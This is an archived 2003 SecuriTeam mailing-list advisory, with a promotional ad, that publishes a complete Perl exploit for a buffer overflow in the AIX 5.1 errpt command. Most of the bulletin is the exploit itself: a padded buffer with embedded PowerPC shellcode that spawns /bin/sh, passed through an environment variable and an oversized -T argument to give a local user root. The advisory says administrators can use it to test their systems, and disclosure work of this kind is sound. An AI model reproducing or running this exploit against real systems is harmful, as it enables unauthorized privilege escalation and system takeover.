[EXPL] Exploit Code Released for errpt

From: SecuriTeam (support_at_securiteam.com)
Date: 06/11/03

  • Next message: SecuriTeam: "[EXPL] Exploit Code Released for diagrpt Vulnerability"
    To: list@securiteam.com
    Date: 11 Jun 2003 19:05:41 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Latest attack techniques.

    You're a pen tester, but is google.com still your R&D team?
    Now you can get trustworthy commercial-grade exploits and the latest
    techniques from a world-class research group.

    Learn more at http://www.coresecurity.com/promos/sit_e1,
    or call 617-399-6980

    - - - - - - - - -

      Exploit Code Released for errpt
    ------------------------------------------------------------------------

    SUMMARY

    The 'errpt' command used to view error log entries contains a buffer
    overflow that can be abused by non-privileged users to gain root
    privileges. The following exploit code can be used by administrators in
    order to test their system for the mentioned vulnerability.

    DETAILS

    Exploit:
    #!/usr/bin/perl
    # FileName: x_errpt_aix5.pl
    # Exploit command errpt for Aix5L to get a root shell.
    # Tested : on Aix5.1
    # Author : watercloud@xfocus.org
    # Site : www.xfocus.org www.xfocus.net
    # Date : 2003-4-16
    # Announce: use as your owner risk!

    $BUFF="A". "\x7c\xa5\x2a\x79"x500;

    #shellcode from lsd-pl and modified by watercloud 2003-4 for Aix5L
    $BUFF.="\x7e\x94\xa2\x79\x40\x82\xff\xfd\x7e\xa8\x02\xa6\x3a\xb5\x01\x40";
    $BUFF.="\x88\x55\xfe\xe0\x7e\x83\xa3\x78\x3a\xd5\xfe\xe4\x7e\xc8\x03\xa6";
    $BUFF.="\x4c\xc6\x33\x42\x44\xff\xff\x02\xb6\x05\xff\xff\x7e\x94\xa2\x79";
    $BUFF.="\x7e\x84\xa3\x78\x40\x82\xff\xfd\x7e\xa8\x02\xa6\x3a\xb5\x01\x40";
    $BUFF.="\x88\x55\xfe\xe0\x7e\x83\xa3\x78\x3a\xd5\xfe\xe4\x7e\xc8\x03\xa6";
    $BUFF.="\x4c\xc6\x33\x42\x44\xff\xff\x02\xb7\x05\xff\xff\x38\x75\xff\x04";
    $BUFF.="\x38\x95\xff\x0c\x7e\x85\xa3\x78\x90\x75\xff\x0c\x92\x95\xff\x10";
    $BUFF.="\x88\x55\xfe\xe1\x9a\x95\xff\x0b\x4b\xff\xff\xd8/bin/sh";

    %ENV=(); $ENV{CC}=$BUFF;

    exec "/usr/bin/errpt","-T","A"."\x2f\xf2\x2a\x40"x1320;
    #EOF

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:watercloud[at]xfocus.org>
    watercloud.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[EXPL] Exploit Code Released for diagrpt Vulnerability"

    Relevant Pages